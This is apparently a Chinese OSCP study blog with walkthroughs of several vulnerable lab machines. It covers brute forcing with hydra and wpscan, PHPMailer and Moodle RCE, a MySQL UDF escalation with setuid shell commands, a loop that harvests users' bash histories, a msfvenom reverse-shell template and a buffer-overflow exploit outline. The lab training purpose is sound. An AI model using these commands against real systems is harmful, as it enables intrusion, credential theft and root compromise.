OSCP - 提高篇

OSCP提高篇
*更新完结,感谢支持(拖这么久了还剩最后一课)*🤣

第一课:命令和工具

请参照 OSCP - 基础篇

第二课 & 第三课

请参照 OSCP - 基础篇

第四课:Goldeneye Enumeration and Exploitation:页面源码信息泄漏 + pop3爆破 + 信息泄漏 + moodle RCE + OS提权

首先也是进行发现主机和进行扫描(如果在WAN上就不需要netdiscover,nmap扫就行了,LAN才需要netdiscover)

web页面信息泄漏

看着像个邮件服务器,这个先不管,先看看http服务:只有一个页面,复制路径访问提示需要身份验证

接着查看源代码,发现了js文件的注释里面有用户名和编码之后的密码

使用Burp解码得到明文

登陆后页面(查看源代码后发现并无可利用信息)

Hint:后来注意到这个页面的源代码拖到最后有2个用户名,如图

pop3爆破 + 登陆

注意到55006和55007端口有pop3服务,先用telnet看看返回什么banner;尝试后发现55007端口可以进行登录,不过上一步发现的用户密码不适用这个登陆

hydra -l [用户名:boris] -P [字典文件路径] [ip] -s[端口] [协议]命令进行爆破

在得到用户和密码之后,telnet登陆pop3看看有什么
(参照pop3命令)

登陆后使用list命令查看邮件列表,发现有3封邮件,其中第二封邮件有个名字natalya@ubuntu

在查看完邮件之后就得到了一个名字,并无其他有用信息;试着爆破这个名字的邮件密码,得到密码后登陆重复查看邮件步骤

这一次就得到有用的信息了,用户+密码+域名

web程序内的信息

修改/etc/hosts,把域名和IP关联上

访问这个域名,是个moodle学习课程管理系统,用在邮件里得到的用户和密码登陆

在这个账号里一番点击之后发现有未读消息,里面有一个用户名doak

再次pop3爆破 + 登陆

再次爆破之

登陆查看邮件,再次得到用户密码

再次登录到web程序 + 信息泄漏

登录之后查看收件箱,没有有用的消息;查看该账户的私人文件发现有一个名为s3cret.txt的文本文件

里面包含一个图片文件的路径

图片文件的隐写内容

strings命令查看发现有Base64编码的内容,解码之

再次登录到web程序

根据txt内容提示,这个隐写是管理员用户的密码,遂用admin和刚才解码得到的密码进行登录,登陆后已经是管理员身份

先查看moodle的版本看看有什么漏洞可以利用的没(由于moodle的特性是上传文件的目录和程序目录是在同一目录下的,并且每个上传的文件会用哈希值重命名而且都不带后缀,上传任意文件getshell是行不通过的,因为它本来就允许上传任意类型的文件)

getshell

搜索引擎搜索之,发现有命令执行漏洞并且有利用方式


根据exp修改网站配置
(Hint:这里要用python的reverse shell的payload,后面尝试出来的)

仔细观察后发现是aspell,所以相应的组件也要修改

使用spell check功能getshell

拿到了shell; 注意:这里用的是python的payload拿到的shell

提权

uname -alsb_release -a命令查看系统和内核版本,搜索发现可以提权

这里遇到了些问题,编译exp的时候,没安装gcc,cc编译有警告(这不用看了,执行提权肯定是失败的)

先看看代码,把gcc换成cc

再次上传,编译,执行,获得root权限

第五课:Raven 1 Enumeration and Exploitation:wpsacn发现用户名 + 密码爆破 + sudo提权

首先进行发现主机和进行扫描:netdiscover + nmap

访问后发现有个页面,blog用的wordpress

遂一个个页面看源码,service.php页面出现flag

web程序的扫描

点开wordpress,发现布局破了

再点开一个文章,发现是个域名,hosts文件修改一下


使用wpscan --url [地址] --enumerate [要枚举的选项] --wp-content-dir [wp-content的路径] --force命令进项扫描,发现两个用户名:michael和steven

把这两个用户名保存到文件里,然后使用wpscan --url [地址] -usernames [用户名列表] --passwords [密码列表] -t [线程数]爆破密码

ssh登陆之

提权

sudo -l查看可以用root权限执行什么命令,再使用相关命令提权(执行python提权:sudo python -c 'import pty; pty.spawn("bin/sh");'

第六课:Raven 2 Enumeration and Exploitation:web程序RCE getshell + MySQL UDF提权

首先进行发现主机和进行扫描:netdiscover + nmap

发现只有几个端口开放,最有价值的估计是80端口,也就是web服务,打开之后能看到这个界面,blog上用的是Wordpress

web上的一些发现

dirb扫描发现有以下目录,vendor和上面发现的wordpress目录

打开vendor目录发现有一堆东西

这里能看到这是个PHPMailer和版本,还有一个PATH

web程序的RCE

google搜索发现这个版本的phpmailer有RCE可用于getshell

注意需要修改这几个地方(target这个是在主页的contact找到的,注意:需要修改后门文件的文件名,这里能看到有两个backdoor.php,都需要改成另一个名字,这里改成了shell.php)

getshell

修改保存后,执行python3 [脚本的文件名],可以看到执行成功,,先设置好监听,再访问一下后门文件shell.php,得到一个bash shell,再使用命令/bin/bash -i升级成一个TTY交互shell(或者通过执行python -c 'import pty; pty.spawn("/bin/bash")'命令也行)

提权

既然方才知道了有个wordpress搭建的bolg,里面很可能会有mysql的用户密码,拿到了用户名和密码,就先看看有没有root权限,如果有就看看可不可以通过MySQL进行提权

通过ps aux | grep mysql命令可以看到mysql以root权限运行

查看后发现mysql.func为空,也就是不能通过sys_exec()函数来提权

在查看MySQL的版本和搜索后发现有提权漏洞


但是好像不行,因为目前的shell是www-data权限,而这个提权操作需要以MySQL用户身份来运行

用了linux exploit suggester(sh和perl的版本)看看其他的提权操作,也不行,gcc或者cc提示有错误

使用python版本的Linux privilege checker看看,这里显示有一个MySQL的提权

为了避免错误,先在kali上编译成so文件


再把这个so文件下载到目标机上

再次登陆到MySQL控制台并进入到数据库名为mysql的数据库

上面看到并没有相应的函数用来执行系统命令,这里就需要用编译好的so文件来作为MySQL的udf的一部分。根据exp里面的提示:先把文件的内容写入到数据库中,再从数据库中读取出来写入到文件中,再创建一个函数用于执行udf;命令如下:create table foo(line blob);insert into foo values(load_file('/tmp/1518.so'));select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';create function do_system returns integer soname '1518.so';。做完以上步骤之后,就可以调用一个叫do_system()的函数用于执行系统命令

方法1

这里可以创建一个拥有SID位为0的sh拿到root权限,命令:select do_system('cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh;'),注意:sh shell才能拿到root的SID位,bash shell是拿不到的

方法2

也可以通过udf:select do_system('chmod u+s /usr/bin/find');把SID位的0赋予给find命令,然后创建一个文件,用find [文件名] -exec "[要执行的命令]" \;命令来以root权限执行

第七课:Lampiao Enumeration and Exploitation:web信息泄漏 + cewl生成攻击字典 + ssh爆破 + OS提权

进行发现主机和进行扫描:netdiscover + nmap,发现只有3个端口,web服务端口有两个,一个是文字图另一个有内容

web程序信息泄漏

从上面的的图能看到,1898端口的web服务泄露了某个用户名 “tiago”

从http页面生成密码攻击字典

这里需要用到一个生成工具cewl,命令:cewl [URL] --write [文件名];这里博主通过这个页面生成了一个txt'文件

字典爆破ssh

从http页面获得了一个可能的用户名tiago,也从http页面生成了密码攻击字典,这里尝试使用hydra进行ssh爆破,可以看到成功爆破并且成功登陆

提权

先用linux exploit suggester看看有什么漏洞可以用,用wget命令从kali上下载,然后执行
这里可以看到存在dirtycow提权,OS版本也是ubuntu


这里刚好有2个dirtycow的提权,都试试(都不行)

从上面的信息可以得知还有一个exp还没尝试(40847),下载源码到目标机并按照exp的提示进行编译和运行,成功得到root权限

第八课:DerpnStink Enumeration and Exploitation:wp弱口令 + 上传getshell + 多处使用同一口令 + sudo配置不当提权

进行发现主机和扫描:netdiscover + nmap,只有3个端口开放

web端口的发现

先看看80端口,通过查看源代码得到一个用户名:stinky,和一个flag


使用dirb看看有什么目录:这里看见有php,weblog

访问weblog目录的时候会跳转到一个URL

修改一下/etc/hosts文件,再次访问,能辨认出来是个wordpress,通过查看页面源代码得知wordpress版本是4.6.9


wpscan -url [URL] --enumerate u,p命令扫描wordpress的用户名和插件,这里能看到用户名是admin,还有一个看着比较老的插件可能有漏洞

命令wpscan --url [URL] --usernames [用户名列表文件] --passwords [密码列表文件] -t [线程数]爆破admin用户的密码,得到密码也是admin

get shell

在URL后加入wp-admin来到后台登录页面,admin/admin登录到wp的后台管理

先修改一下自己写的php msf反弹shell,IP地址和端口都改一下

在wp后台的slideshow处点击Add new上传php木马文件,在选择文件后点击保存,可以看到msf监听器有反应,现在已经得到一个MSF shell

拿到shell之后,读取wp的配置文件,拿到数据库的用户名和密码

根据dirb的扫描结果,可以得知在php目录下有phpMyAdmin,用刚才得到的MySQL用户密码登陆

FTP

登录到PMA之后,转一圈看看有什么用户密码,先从mysql的用户下手,点开mysql数据库的user表,能看见一个是root,另一个是unclestinky,通过crackstation.net查询得到对应的明文

尝试登录到ftp,发现unclestinky/wedgie57不正确,回想起web页面源码中的stinky,尝试后成功登录,把有用的东西先下载回来:

一个通讯报文记录,一个ssh登录密钥,一个text.txt

登录到stinky

TCP数据包

先用命令locate *.pcap搜索一下通讯数据包记录文件,再用tcpdump -nnttttAr [文件路径] port [端口号] | grep [关键字] -C [数量] --color=always | less -Sr命令过滤出想要的信息;这里主要看80端口的和验证有关的通讯,找到了一个POST数据包,里面有用户和密码

提权

尝试切换用户mrderp,成功,通过sudo -l命令查看到这个用户没有root权限,但是可以通过在某个目录下以root权限运行某些文件


简单操作后获得root权限

第九课:Stapler Enumeration and Exploitation:Web程序插件任意文件读取漏洞 + ssh弱口令 + 遍历bash历史提权/OS漏洞提权

进行发现主机和扫描:netdiscover + nmap,一大堆端口开放,ftp存在匿名登陆,web端口目测没有利用价值

FTP

用户名/密码:anoymous/anoymous 进行匿名登录,看看里面有什么东西:有个文件名叫note的文件,下载并查看,得到2个潜在的用户名:Elly,John

先来两个爆破,无果

web服务

80端口出现个404,目录扫描看看有什么,好像没有有用的结果

再看看另一个端口12380,再次目录爆破之,好像也无果


加个https看看,好像有东西出来了,再爆破看看

扫描到了有内容:robots.txt,phpmyadmin,announcements,其中robots.txt里面还有admin112233和blogblog两个目录

来看看都有什么



看来又多了潜在的用户名:Abby
在下面能看到这是个WordPress站点,用wpscan扫描看看有什么用户名和插件,扫描后发现不仅有用户名,而且还存在目录遍历

web程序的插件漏洞

在这个pulgin的目录下发现一有3个插件

Google后发现这个video什么名字的插件有本地文件包含漏洞

把exp下载回来,这里需要修改一下:增加ssl套件,修改URL

执行完exp之后,upload目录下出现了一个新的jpeg文件(里面包含了网站配置文件的内容)

下载后cat一下看看内容,得到了mysql数据库的登录信息:root/plbkac

根据得到的数据库连接信息登录到phpmyadmin

先查看wordpress的用户表,这里可以看到很多用户名和密码

就拿第一个用户john的密码用admin的MD5覆盖掉

成功通过john:admin登录后台,wordpress版本是4.5.2

尝试getsehll

在主题的选显卡里能看到编辑器,尝试修改主题php文件进行getshell发现无权限修改,一番搜索后发现并没有可getshell的漏洞

wordpress插件的任意文件读取漏洞再利用

既然web方面没什么利用的,再来看看任意文件读取漏洞读取/etc/passwd看看有什么用户
这里直接使用POC拿到/etc/passwd的内容



再使用命令cat [文件名] | grep /bin/bash | cut -d "[分割标志符]" -f1 > [文件名]提取用户名

ssh爆破

hydra爆破一波,发现了几个用户和密码

提权1

一个个用户进去看看有什么东西
首先是MFrei

然后是CJoo

然后是Drew

最后是zoe(前面的都忘了查看内核版本和发行版了,而且还没查看/home目录)


ls一下就这么多个目录,肯定是不能蛮力查看的,这里使用ls -al -R ./命令来递归查看目录结构

仔细观察每一个目录结构后,可以发现用户peter的目录下有个什么admin的文件,大概率peter这个用户具有管理员权限,而且有些bash命令的历史文件对其它用户有读的权限

现在来读取每一个用户的bash命令历史,这里使用bash脚本来读取:进去每一个用户的目录,打印当前路径,查看bash命令历史,返回到上级,重复上述直到遍历完所有用户

array=(AParnell Drew elly jamie JKanode LSolum mel peter SHAY Taylor CCeaser DSwanger ETollefson JBare JLipps LSolum2 MFrei RNunemaker SHayslett CJoo Eeth IChadwick jess kai MBassin NATHAN Sam SStroud zoe www)
for i in {0..29}; do cd ./${array[$i]}; pwd; cat .bash_history; cd ../; done

然后就看见了peter的密码:JZQuyIN5

登陆后sudo -l看到可以root权限执行任何命令

提权2

除了上一个方法,还可通过系统漏洞来提权,通过搜索可以得知有提权的exp,而且是2个

把exp传上去,编译,执行:编译报错+运行报错


本地编译再上传执行,还是不行

那就用linux exploit suggester看看,3个都传上去了

利用dirtycow2,轻松秒杀

第十课:VulnOS 2 Enumeration and Exploitation:web程序SQL注射 + 弱登录凭证 + OS漏洞提权

进行发现主机和扫描:netdiscover + nmap,只有3个端口开放,初步判断只能从web程序进行突破

先来到浏览器打开,看见这么一个页面,要跳到另一网站才能开始pent

于是来到这个页面,是个公司主页

web程序的突破

看了下并没有什么东西,先dirb爆破一下目录,这里发现了robots.txt,并且目录也是可以遍历的;从robots文件可以发现登录链接


由于暂时没有其它的信息,尝试注册新账号失败


点了一圈没发现什么有用的信息,跟着旧各个页面查看源代码,在查看Documentation这个页面的时候发现有一个目录,还附上了登录信息guest/guest

打开后发现是个文件管理器,版本信息都有了,用上面的信息登录


做了个图片马上传之后发现被存为*.dat文件,无利用点

通过搜索得知这个web程序有两个漏洞,一个是用户提权漏洞,另一个是注射漏洞

先看看提权漏洞能做什么,根据exp提权后,除了多了个管理内容和用户的权限后也是没什么利用点

那就看看SQL注射漏洞,从数据库中提取什么内容看看是有用的,这里根据名字提取jabcd0cs这个数据库的内容,只因为名字和目录名一样。。。也可以提取drupal7。。。通过SQL注射这里看到了一个用户名为webmin的管理员用户



查询MD5后密码是webmin1980

提权

根据上面得到的信息猜测webmin/webmin1980可能是ssh登录的凭据,尝试后发现登录成功

通过uname -alsb_release -a命令确定内核版本,exp提权成功

第十一课:Windows 7 Enumeration and Exploitation:翻车

这次是windows靶机,还是那一套

轻松翻车

第十二课:IMF Enumeration and Exploitation:web程序信息泄漏 + 上传getsell + 二进制调试提权

首先还是三板斧,只有80一个端口开放

web程序信息泄漏

点了一圈没什么可利用的地方,先查看个源码,发现有个flag的注释,回头看还有几个名字有点奇怪的js文件,一看就是base64编码

解码得到另一个flag(js的文件名要和合在一起才能解码成功)

再次解码得到一个有用的信息:imfadministrator

加到URL后访问弹出登录页面,估计是SQL,试了几下没反应,查看源码,说是硬编码了



既然是硬编码,并且提示用户名不正确(Roger也不行),在contact的页面有3个人,试试看

确定只有一个有效用户名:rmichaels



爆破一波试试看,不行

web程序突破

硬编码的用户名和密码,代码中会用到strcmp()函数,信息有限的情况下需要绕过strcmp()函数,这里倒是有个方法,传个数组进去

尝试一下,成功得到一个flag


解码flag得到内容

访问来到这几个页面,并无可利用的内容


看了一圈URL有个SQL注入,sqlmap看看有什么

这里能看到数据库的admin表面有两条关于图片的路径的记录,其中一条是没见过的

图片下载回来用strings命令查看并没有隐写信息,但是有个二维码,手机扫描得到flag4{dXBsb2Fkcjk0Mi5waHA=}

解码得到一个文件路径:uploadr942.php

getshell

访问,来到一个上传页面

有内容检查,上传失败,后缀也有限制

先用weevely生成一后门文件,nano编辑添加GIF89a文件头

burpsuite抓包改包,修改content-type和文件后缀名,上传成功,图片上传后的名字都在返回包里面,目前倒是没有上传的路径


dirb爆破一下,得到几个目录,其中有一个uploads

拼接URL访问

使用weevely [URL] [密码]命令连接到webshell

查看flag5,解码得到agentservices

拿到一个有限的shell

提权

上面拿到一个有限的shell之后,要先把这个shell换成一个交互式tty shell,nc反弹不行,这里用博主一起拿写的一个perl脚本,成功拿到一个交互式tty shell

运行Linux提权脚本

尝试dirtycow提权,提示g++没安装

一堆exp,数据库提权都试过了,不行

这里应该使用二进制提权,找到上面的agentservices,locate命令找一找agent,并发现有root运行权限

读取文件发现如下内容:SYN 7482,8279,9467

先把文件下载回来运行看是个什么情况,要输入ID,这个ID应该是写在程序内部的一个量

下载retdec,retdec-decompiler [文件名]反编译一下得到源码

看看源码,找到ID

这里有个提交功能,试试200个字符,出现了内存溢出

gdb调试一下,看看寄存器被覆盖成什么样子了:这里通过观察可以发现EBP和EIP寄存器已经被覆盖了

查找一下长度,看看EIP是怎么被搞成了0x41366641,这里看到的是在超出168和字符之后,EIP就被覆盖了

objdump -d [文件] | grep [jmp/call] | grep eax找找调用eax寄存器的指令的内存地址

msfvenom -p [payload] LHOST=[监听机IP] LPORT=[监听机端口]-f [payload的编程语言] -b "[坏字符:\x00\x0a\x0d]"生成payload

写一个python的exp

执行之,获得root权限